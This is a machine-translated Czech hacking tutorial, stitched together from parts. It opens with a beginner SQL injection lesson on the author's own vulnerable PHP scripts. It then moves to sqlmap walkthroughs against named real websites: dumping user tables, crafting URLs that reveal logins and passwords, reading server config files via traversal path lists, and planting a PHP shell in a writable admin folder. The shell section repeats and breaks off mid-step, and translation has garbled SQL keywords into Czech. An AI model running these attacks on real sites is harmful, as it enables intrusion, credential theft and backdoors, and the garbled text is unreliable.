Zdravím vás, čtenáři. V poslední době se věnuji zabezpečení webu a do jisté míry s tím souvisí i práce. Protože Stále častěji jsem si začal všímat témat na různých fórech, s prosbou ukázat, jak to celé funguje, jsem se rozhodl napsat článek. Článek bude určen pro ty, kteří se s tím nesetkali, ale rádi by se poučili. Článků na toto téma je na webu relativně hodně, ale pro začátečníky jsou trochu komplikované. Pokusím se vše popsat srozumitelným jazykem a podrobnými příklady.
Úvodní slovo
Abyste tomuto článku porozuměli, nepotřebujete ve skutečnosti znalost jazyka SQL, ale alespoň přítomnost dobré trpělivosti a trochu mozku - pro zapamatování.Věřím, že jedno přečtení článku stačit nebude, protože. potřebujeme živé příklady - jak víte, praxe v procesu zapamatování není zbytečná. Proto budeme psát zranitelné skripty a trénovat na nich.
Co je SQL injection?
Zjednodušeně řečeno se jedná o útok na databázi, který vám umožní provést nějakou akci, kterou tvůrce skriptu neplánoval. Příklad ze skutečného života:Otec napsal matce do poznámky, že dala Vasyovi 100 rublů a položila to na stůl. Když to přepracujeme na vtipný jazyk SQL, dostaneme:
ZÍSKEJTE 100 RUBLŮ Z PENĚŽENKY A DEJTE JE Vasyovi
Protože otec napsal dopis špatně (nemotorný rukopis) a nechal ho na stole, viděl ji Vasyin bratr Petya. Petya jako hacker tam přidal „NEBO Petya“ a dostal následující požadavek:
ZÍSKEJTE 100 RUBLŮ Z PENĚŽENKY A DEJTE JI Vasyovi NEBO Péťovi
Máma se po přečtení poznámky rozhodla, že včera dala peníze Vasyovi a dala 100 rublů Petyi. Zde je jednoduchý příklad SQL injection z reálného života :) Bez filtrování dat (máma sotva rozeznala rukopis) Péťa vydělal.
Příprava
Pro procvičení budete potřebovat archiv se zdrojovými skripty k tomuto článku. Stáhněte si jej a rozbalte jej na serveru. Také importujte databázi a nastavte data v souboru cfg.phpSQL injection vyhledávání
Jak jste již pochopili, injekce pochází z příchozích dat, která nejsou filtrována. Nejčastější chybou je nefiltrování předávaného ID. No, zhruba řečeno, náhradní uvozovky ve všech oblastech. Ať už je to požadavek GET/POST nebo dokonce cookie!
Numerický vstupní parametr
Pro praxi potřebujeme scénář index1.php. Jak jsem řekl výše, v ID zpráv nahrazujeme uvozovky.Protože náš požadavek nemá žádné filtrování:
$id = $_GET["id"]; $query = "VYBRAT * Z novinek WHERE id=$id";
Skript to pochopí jako
SELECT * FROM news WHERE id=1"
A vypíše nám to chybu:
Upozornění: mysql_fetch_array() očekává, že parametr 1 bude zdrojem, booleovský zadaný v C:\WebServ\domains\sqlinj\index1.php na řádku 16
Pokud není vyvolána žádná chyba, mohou to být následující důvody:
1.SQL injection zde není - Citáty jsou filtrovány, nebo jen konverze do (int)
2. Deaktivovaný chybový výstup.
Pokud přesto došlo k chybě - Hurá! Našli jsme první druh SQL injection - Numerický vstupní parametr.
Vstupní parametr řetězce
Žádosti budou zaslány na index2.php. V tomto souboru žádost vypadá takto:
$user = $_GET["uživatel"]; $query = "VYBRAT * Z novinek WHERE user="$user"";
Zde provádíme výběr novinek podle uživatelského jména a opět – nefiltrovat.
Opět zasíláme poptávku s cenovou nabídkou:
Vypsalo to chybu. OK! Existuje tedy zranitelnost. To nám pro začátek stačí – pustíme se do praxe.
Pojďme jednat
Trochu teorie
Asi se nemůžete dočkat, až z toho něco vydolujete, kromě chyb. Nejprve si uvědomte, že znak " -- " je považován za komentář v jazyce SQL.
POZORNOST! Před a za ním musí být mezery. V URL jsou předány jako %20
Cokoli po komentáři bude zahozeno. Tedy požadavek:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra
Provést úspěšně. Můžete to zkusit na skriptu index2.php odesláním požadavku takto:
Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr
Naučte se parametr SVAZ. V SQL klíčové slovo SVAZ slouží ke spojení výsledků dvou SQL dotazů do jediné tabulky. To znamená, abychom z jiného stolu vytáhli něco, co potřebujeme.
Využíváme toho
Pokud je parametr "Číselný", pak v poptávce nemusíme posílat cenovou nabídku a samozřejmě na konec uvedeme komentář. Zpět ke scénáři index1.php.
Vraťme se ke skriptu sqlinj/index1.php?id=1 UNION SELECT 1 . Náš databázový dotaz vypadá takto:
SELECT * FROM news WHERE id=1 UNION SELECT 1
A dal nám chybu, protože. pro práci s agregací dotazů potřebujeme stejný počet polí.
Protože Protože v prvním dotazu nemůžeme jejich počet ovlivnit, musíme jejich počet vybrat ve druhém tak, aby se rovnal prvnímu.
Vybereme počet polí
Výběr polí je velmi jednoduchý, stačí zaslat následující požadavky:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Chyba…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Opět chyba!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Není tam žádná chyba! Počet sloupců je tedy 5.
SKUPINA VYTVOŘENÁ
Často se stává, že polí může být 20 nebo 40 nebo dokonce 60. Abychom je nemuseli pokaždé procházet, používáme SKUPINA VYTVOŘENÁPokud žádost
sqlinj/index1.php?id=1 GROUP BY 2
neposkytlo žádné chyby, takže počet polí je větší než 2. Zkoušíme:
sqlinj/index1.php?id=1 GROUP BY 8
Op, vidíme chybu, takže počet polí je menší než 8.
Pokud u GROUP BY 4 není žádná chyba, ale u GROUP BY 6 je chyba, pak je počet polí 5
Definování sloupců zobrazení
Aby se z prvního požadavku nezobrazovalo nic, stačí nahradit neexistující ID, například:sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5
Touto akcí jsme určili, které sloupce se na stránce zobrazují. nyní, abyste tato čísla nahradili požadovanými informacemi, musíte pokračovat v dotazu.
Výstup dat
Řekněme, že víme, že tabulka stále existuje uživatelů ve kterých jsou pole id, název A složit.
Potřebujeme získat informace o uživateli s ID=1
Vytvořme tedy dotaz takto:
sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
Skript také pokračuje ve výstupu
Za tímto účelem nahradíme místo čísel 1 a 3 názvy polí
sqlinj/index1.php?id=-1 název UNION SELECT,2,pass,4,5 FROM users WHERE id=1
Dostali jsme, co jsme potřebovali!
Pro "vstupní parametr řetězce" jako ve skriptu index2.php musíte přidat uvozovky na začátek a znak komentáře na konec. Příklad:
sqlinj/index2.php?user=-1" UNION SELECT název,2,pass,4,5 FROM users WHERE id=1 --%20
Čtení/zápis souborů
Pro čtení a zápis souborů musí mít uživatel databáze oprávnění FILE_PRIV.Psaní souborů
Ve skutečnosti je vše velmi jednoduché. K zápisu souboru použijeme funkci OUTFILE.sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 DO OUTFILE "1.php" --%20
Skvělé, máme soubor. Můžeme tedy nahrát mini-shell:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 DO OUTFILE "1.php" --%20
Čtení souborů
Čtení souborů je ještě jednodušší než jejich psaní. Funkci stačí pouze použít LOAD_FILE, pro místo pole, které zvolíme:Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20
Přečetli jsme tedy předchozí zapsaný soubor.
Metody ochrany
Chránit se je ještě jednodušší než zneužít zranitelnost. Stačí data filtrovat. Pokud předáváte čísla, použijte
$id = (int) $_GET["id"];
Jak navrhl uživatel malroc. Bránit pomocí CHOP nebo připravených výpisů.
Místo dokončení
Na tomto chci dokončit svou první část o „vstřikování SQL pro začátečníky“. Ve druhé se podíváme na obtížnější příklady injekcí. Pokuste se psát zranitelné skripty a provádět dotazy sami.A nezapomeňte, že nedůvěřujte žádnému uživateli vašeho webu.
Rušič vztlaku: .DZEN
Máme SQL Injection na webu, který vypadá takto,
Nejprve je žádoucí, abychom zkontrolovali, zda máme oprávnění zapisovat soubory na napadený zdroj, za tímto účelem načteme terminál a zadáme následující příkaz:
http://www.sacoor.com/site_terms.php?lang=cs --banner --current-db --current-user --is-dba
Stiskneme Enter a začne analýza naší SQL Injection, sestava vypadá takto:
Jak vidíte, report obsahuje verzi Apache, verzi MySQL a verzi OS nainstalovaného na serveru, to vše se nám bude hodit do budoucna, ale hlavně vidíte, že máme oprávnění k zápisu souborů, toto se zobrazuje v řádku Aktuální uživatel je DBA: True
Dalším krokem pro nás je získat cesty k napsání našeho shellu. Cestu k našemu webu na serveru můžeme získat stažením souboru httpd.conf. Informace o umístění souboru httpd.conf získáváme pomocí Google, vyhledávat můžete podle verze instalovaného OS nebo podle seznamu nejpravděpodobnějších cest. Obecně se nebudu ponořit do surfování na vyhledávačích, jen když jsme zjistili nejpravděpodobnější umístění cesty k souboru, je čas stáhnout si tento soubor na náš disk, zadáme následující příkaz a požádáme aby byl soubor přečten na serveru:
sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --file-read=/etc/httpd/conf/httpd.conf
Okamžitě poznamenáváme, že tento konfigurační soubor není vždy možné najít napoprvé, takže můžete použít nejpravděpodobnější cesty, kde může být tento soubor umístěn:
SEZNAM PRAVDĚPODOBNÝCH CEST K KONFIGURAČNÍMU SOUBORU:
../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf
Obdržíme zprávu od sqlmap v následující podobě:
Jak můžete vidět, sqlmap nám řekl, že soubor má stejnou velikost jako soubor na serveru, takže máme právo tento soubor číst. Pokud by nebyla dostatečná práva ke čtení tohoto souboru, pak by se objevila chyba, že soubor uložený na našem počítači má jinou velikost než soubor na serveru nebo na serveru není žádný soubor v cestě, kterou jsme zadali a nikdy byl. Sqlmap uložil náš soubor do souborů sestav a pro jeho čtení je třeba spustit správce oken. Pro spuštění správce oken otevřeme další okno terminálu a zadáme příkaz:
Dále ve správci, který se otevře, sledujeme cestu, kam sqlmap přidal soubor, tj.:
/root/.sqlmap/output/sacoor.com
Poté najeďte myší na soubor, stiskněte tlačítko F3 na klávesnici a přečtěte si konfigurační soubor Apache:
Z našeho konfiguračního souboru vidíme, že náš web je umístěn na serveru na následující cestě:
/home/sbshop/site/
Nyní, když máme nějaké informace, můžeme zkusit nahrát shell, k tomu zadáme následující příkaz:
sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --os-cmd –v l
Po zadání příkazu se sqlmap zeptá, jaký typ výplně chceme použít, protože v našem případě je stránka v PHP, poté nahrajeme PHP-loader, vybereme položku 4 a stiskneme Enter. Dále vás sqlmap požádá, abyste vybrali, kam nahrajeme náš loader a od. již známe cestu k našemu webu na serveru, poté vyberte položku 2, stiskněte Enter a zadejte cestu k webu:
/home/sbshop/site/
A poté stiskněte Enter a podívejte se na následující přehled:
V tomto případě nám sqlmap říká, že nemáme oprávnění k zápisu do této složky. Nebojte se, tento problém lze snadno vyřešit. Dáme příkaz ke spuštění uniscan a zkontrolujeme soubory a složky na možnost zápisu, zde je příkaz.
Co je sqlmap, k čemu slouží
Program vám umožňuje kontrolovat stránky na zranitelnost SQL injection, XSS zranitelnost a také využívat SQL injection. Podporovány jsou různé typy injekcí SQL a různé databáze.
Co lze udělat s sqlmap
Pomocí sqlmap můžete:
- zkontrolovat, zda webové stránky nemají zranitelnosti
Pokud je web zranitelný vůči SQL injection, pak je možné:
- získat informace z databáze, včetně výpisu z (celé) databáze
- upravovat a mazat informace z databáze
- nahrajte shell (backdoor) na webový server
Jeden ze scénářů pro použití sqlmap:
- Získání uživatelského jména a hesla z databáze
- Vyhledat panely pro správu webu (panel správce)
- Přihlaste se do administračního panelu pomocí přijatého uživatelského jména a hesla
V případě zranitelnosti se útok může vyvinout různými směry:
- Úprava dat
- nalévání zadních vrátek
- Vložení kódu JavaScript pro získání uživatelských dat
- Implementace kódu pro hákování na BeEF
Jak vidíme, SQL injection je velmi nebezpečná zranitelnost, která dává útočníkovi velké příležitosti.
Kontrola webových stránek pomocí sqlmap
Pokud web přijímá data od uživatele pomocí metody GET (když je v adresním řádku prohlížeče vidět název proměnné i přenášená data), musíte vybrat adresu stránky, na které se tato proměnná nachází. Přichází po otazníku ? ), Například:
- http://www.dwib.org/faq2.php?id=8
- http://www.wellerpools.com/news-read.php?id=22
- http://newsandviews24.com/read.php?id=p_36
V první adrese je název proměnné id a předaná hodnota je 8 . Ve druhé adrese je také název proměnné id a předaná hodnota 22 . Ve třetím příkladu je název proměnné stejný, ale předaná hodnota ano p_36. Stejný název proměnné je náhodná shoda pro různé weby, může to být cokoliv, může to být jakákoli přenášená data, může existovat několik proměnných s hodnotami oddělenými symbolem & .
Pokud chceme zkontrolovat, zda je proměnná id zranitelná vůči SQL injection, pak musíme zadat celou adresu – http://www.dwib.org/faq2.php?id=8 (nikoli http://www.dwib .org /faq2.php nebo http://www.dwib.org).
Příkaz pro kontrolu proměnné předávané metodou GET je velmi jednoduchý:
Sqlmap -u site_url
Pro tyto weby budou příkazy:
sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36
Během procesu ověřování může sqlmap klást různé otázky a je třeba na ně odpovědět. y(tedy ano) popř n(tedy ne). Písmeno y a n může být velké nebo malé. Velké písmeno znamená výchozí volbu, pokud s ní souhlasíte, pak stačí stisknout Enter.
Příklady situací a otázek:
Heuristika zjistila, že cíl je chráněn nějakým druhem WAF/IPS/IDS chcete, aby se sqlmap pokusil detekovat backendový WAF/IPS/IDS?
Heuristika určila, že cíl je chráněn nějakým druhem WAF/IPS/IDS. Chcete, aby se sqlmap pokusil určit název WAF/IPS/IDS?
Moje oblíbená žádost:
Heuristický (základní) test ukazuje, že parametr GET "id" může být injektovatelný (možná DBMS: "MySQL"), testování pro SQL injekci na parametr GET "id" vypadá to, že back-end DBMS je "MySQL". Chcete přeskočit testovací užitečné zatížení specifické pro jiné DBMS?
Pointa je, že heuristika určila, že parametr může být zranitelný a vzdálený DBMS je již definován, jsme dotázáni, zda chceme pokračovat v kontrole. A na druhém snímku obrazovky je web také zranitelný vůči XSS.
Pokud chcete proces automatizovat tak, aby se vás sqlmap pokaždé neptal, ale použil výchozí výběr (vždy existují lepší možnosti), můžete spustit příkaz s možností --dávka:
Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch
Možné problémy při skenování sqlmap
Může se zobrazit následující chyba:
Vypršel časový limit připojení k cílové adrese URL. Pokud problém přetrvává, sqlmap zopakuje požadavek (požadavky), zkontrolujte, zda je zadaná cílová adresa URL platná. V případě, že ano, můžete zkusit znovu spustit se zapnutým přepínačem "--random-agent" a/nebo přepínači proxy ("--ignore-proxy", "--proxy",...)
Znamená to, že web nechce "mluvit" se sqlmap. Jako možnost se nám nabízí použití --náhodný-agent. Pokud můžete pozorovat web v prohlížeči a sqlmap píše o nemožnosti se připojit, pak web ignoruje požadavky a zaměřuje se na uživatelského agenta. Možnost --random-agent změní výchozí hodnotu sqlmap na náhodné:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent
Dalším důvodem této chyby může být blokování vaší IP webovou stránkou – pak musíte použít proxy. Pokud již používáte proxy a objeví se tato chyba, pak to může znamenat, že proxy má problémy s komunikací a stojí za to vyzkoušet bez něj.
výsledky skenování sqlmap
Nalezené SQL injekce se zobrazí následovně:
Tito. jsou zvýrazněny tučnou zelenou barvou, je napsán název zranitelného parametru, typ zranitelnosti SQL a slovo injekční.
Získání seznamu databází pomocí sqlmap
Chcete-li získat seznam databází, použijte volbu --dbs. Příklady:
sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs
Získávání informací z databází
Například pro web wellerpools.com byly nalezeny dvě databáze:
[*] information_schema [*] main_wellerpools
Chci znát seznam tabulek v databázi main_wellerpools. Chcete-li to provést, použijte možnost --tabulky. Kromě toho musíme po opci specifikovat tabulku, která nás zajímá -D:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables
Seznam stolů:
Z nějakého důvodu chci získat seznam sloupců z tabulky uživatelů. Chcete-li to provést, použijte možnost --sloupce. Kromě toho musíme specifikovat databázi, která nás zajímá ( -D main_wellerpools) a po klíči -T tabulka, pro kterou chceme vidět seznam sloupců:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns
Chcete-li zobrazit obsah, použijte volbu --skládka. Může být specifikován společně s databází a poté bude vypsána celá databáze, nebo můžete data omezit na jednu tabulku nebo dokonce jeden sloupec. Pomocí následujícího příkazu chci vidět obsah celé tabulky uživatelů:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump
Podívejte se na hesla - při zběžné kontrole jsem si myslel, že jsou to hashe. Admini se opravdu snažili bránit, ale nepomohlo jim to.
Mimochodem, protože parametr, který přijímá data zasílaná metodou GET, je zranitelný, je možné vytvořit požadavek přímo v řádku prohlížeče tak, že přihlašovací jméno a heslo uživatele se zobrazí přímo na samotném webu:
- http://www.wellerpools.com/news-read.php?id=-22+union+select+1,group_concat(user_name,0x3a,user_pwd),3,4,5,6,7,8,9, 10+od+uživatelů--
- http://www.wellerpools.com/news-read.php?id=-22+UNION+SELECT+1,group_concat(user_id,0x3e,user_name,0x3e,user_pwd),3,4,5,6,7, 8,9,10+od+uživatelů--
Tito. máme uživatelské jméno, heslo a poštu uživatelů (a pravděpodobně i administrátorů) webu. Pokud najdete administrativní panel webu, můžete získat kontrolu nad webem nebo webovým serverem. Vzhledem k lásce uživatelů ke stejným heslům a znalosti jejich poštovních schránek se můžete pokusit hacknout poštu.
Obecně je SQL injection velmi nebezpečnou zranitelností.
No a k tématu:
Spoiler: Plnění skořápky
Máme SQL Injection na webu, který vypadá takto,
Pro zobrazení odkazů musíte být přihlášeni.
Nejprve je žádoucí, abychom zkontrolovali, zda máme oprávnění zapisovat soubory na napadený zdroj, za tímto účelem načteme terminál a zadáme následující příkaz:
sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --banner --current-db --current-user --is-dba
Klikněte Vstupte a začne analýza našeho SQL Injection, sestava vypadá takto:
Jak vidíte, report obsahuje verzi Apache, verzi MySQL a verzi OS nainstalovaného na serveru, to vše se nám bude hodit do budoucna, ale hlavně vidíte, že máme oprávnění k zápisu souborů, toto se zobrazuje v řádku Aktuální uživatel je DBA: True
Dalším krokem pro nás je získat cesty k napsání našeho shellu. Cestu k našemu webu na serveru můžeme získat stažením souboru httpd.conf. Informace o umístění souboru httpd.conf získáváme pomocí Google, vyhledávat můžete podle verze instalovaného OS nebo podle seznamu nejpravděpodobnějších cest. Obecně se nebudu ponořit do surfování na vyhledávačích, jen když jsme zjistili nejpravděpodobnější umístění cesty k souboru, je čas stáhnout si tento soubor na náš disk, zadáme následující příkaz a požádáme aby byl soubor přečten na serveru:
sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --file-read=/etc/httpd/conf/httpd.conf
Okamžitě poznamenáváme, že tento konfigurační soubor není vždy možné najít napoprvé, takže můžete použít nejpravděpodobnější cesty, kde může být tento soubor umístěn:
SEZNAM PRAVDĚPODOBNÝCH CEST K KONFIGURAČNÍMU SOUBORU:
../../../../../../../../../usr/local/apache/conf/httpd.conf ../../../../ ../../../../../usr/local/apache2/conf/httpd.conf ../../../../../../../../ usr/local/apache/httpd.conf ../../../../../../../../usr/local/apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/apache/conf/httpd.conf ../../../../../. ./etc/apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/apache/conf/httpd.conf ../../../../. ./opt/apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf
Obdržíme zprávu od sqlmap v následující podobě:
Jak můžete vidět, sqlmap nám řekl, že soubor má stejnou velikost jako soubor na serveru, takže máme právo tento soubor číst. Pokud by nebyla dostatečná práva ke čtení tohoto souboru, pak by se objevila chyba, že soubor uložený na našem počítači má jinou velikost než soubor na serveru nebo na serveru není žádný soubor v cestě, kterou jsme zadali a nikdy byl. Sqlmap uložil náš soubor do souborů sestav a pro jeho čtení je třeba spustit správce oken. Pro spuštění správce oken otevřeme další okno terminálu a zadáme příkaz:
Dále ve správci, který se otevře, sledujeme cestu, kam sqlmap přidal soubor, tj.:
/root/.sqlmap/output/sacoor.com
Poté najeďte myší na soubor a stiskněte tlačítko F3 na klávesnici a přečtěte si konfigurační soubor Apache:
Z našeho konfiguračního souboru vidíme, že náš web je umístěn na serveru na následující cestě:
/home/sbshop/site/
Nyní, když máme nějaké informace, můžeme zkusit nahrát shell, k tomu zadáme následující příkaz:
Po zadání příkazu se sqlmap zeptá, jaký typ výplně chceme použít, protože v našem případě je stránka v PHP, pak nahrajeme PHP-loader, Vybrat bod 4 a stiskněte Enter. Dále vás sqlmap požádá, abyste vybrali, kam nahrajeme náš loader a od. již známe cestu k našemu webu na serveru, pak si vyberte bod 2, lis Vstupte a zadejte cestu k webu:
/home/sbshop/site/
A poté stiskneme Vstupte a podívejte se na následující zprávu:
V tomto případě nám sqlmap říká, že nemáme oprávnění k zápisu do této složky. Nebojte se, tento problém lze snadno vyřešit. Dáváme příkaz ke spuštění uniscan a kontrole souborů a složek na schopnost zapisovat, zde je příkaz:
Uniscan -u http://www.sacoor.com/ -qwe
Nyní skener zkontroluje všechny zapisovatelné adresáře:
Skener našel tři adresáře s možností zápisu souborů, takže zkoušíme nahrát náš shell loader znovu, ale tentokrát jiným způsobem. Spusťte příkaz znovu:
sqlmap –u http://www.sacoor.com/site_terms.php?lang=cs --os-cmd –v l
a vybírání bod 4(vyplnění PHP skriptu), zadejte cestu:
/home/sbshop/site/admin
Vidíme následující.